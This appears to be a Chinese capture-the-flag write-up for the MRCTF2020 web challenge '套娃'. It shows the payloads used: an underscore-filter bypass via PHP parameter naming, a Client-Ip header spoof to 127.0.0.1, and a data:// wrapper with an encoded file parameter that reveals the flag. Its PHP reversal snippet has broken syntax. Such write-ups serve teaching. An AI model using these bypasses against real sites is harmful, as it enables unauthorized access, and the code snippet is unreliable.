[MRCTF2020]套娃1

打开题目,查看源代码,有提示

有两层过滤

1.过滤"_"与"%5f" 。

这里要求的参数必须是"b_u_p_t"但是不能检测出"_"。这里看着很作弄人。其实这里要用到php里非法参数名的问题。可以参考一下博客

?b.u.p.t=23333%0a

看到提示,flag在FLAG is in secrettw.php

访问secrettw.php

说我能更聪明

直接访问

ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

看到一堆外星语,JavaScript语言,复制解码,找网站运行,发现需要破石头请求

看到最后源码

//逆向代码

<?php

$v="flag.php";

$re='';

for(i=0;i<strlen(v);i++)

{

re.=chr(ord(v[i\])-i*2);

}

v1=base64_encode(re);

echo $v1;

?>

//v1=ZmpdYSZmXGI=

.change函数,先进行base64解码,在对每一位的ascii码加上i*2。很简单写一个逆函数就行

最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息,结果如下:

flag{c8cf3dad-15b4-4a55-9344-51e749df0029}

相关推荐
C雨后彩虹几秒前
跨线程数据传递InheritableThreadLocal的原理
java·多线程·同步·异步·threadlocal
Ronin3051 分钟前
虚拟机数据管理模块
开发语言·c++·rabbitmq
熬了夜的程序员2 分钟前
【LeetCode】117. 填充每个节点的下一个右侧节点指针 II
java·算法·leetcode
3GPP仿真实验室2 分钟前
【Matlab源码】6G候选波形:MIMO-OFDM-IM 增强仿真平台
开发语言·网络·matlab
yujunl8 分钟前
排除一个版本原因导致Mybatis Plus不能分页的问题
java
上海合宙LuatOS10 分钟前
LuatOS核心库API——【fatfs】支持FAT32文件系统
java·前端·网络·数据库·单片机·嵌入式硬件·物联网
晓131312 分钟前
第五章 【若依框架:优化】高级特性与性能优化
java·开发语言·性能优化·若依
一叶之秋141215 分钟前
基石之力:掌握 C++ 继承的核心奥秘
开发语言·c++·算法
见牛羊16 分钟前
CMakeLists 写法总结3.0
开发语言·c++
大模型玩家七七17 分钟前
效果评估:如何判断一个祝福 AI 是否“走心”
android·java·开发语言·网络·人工智能·batch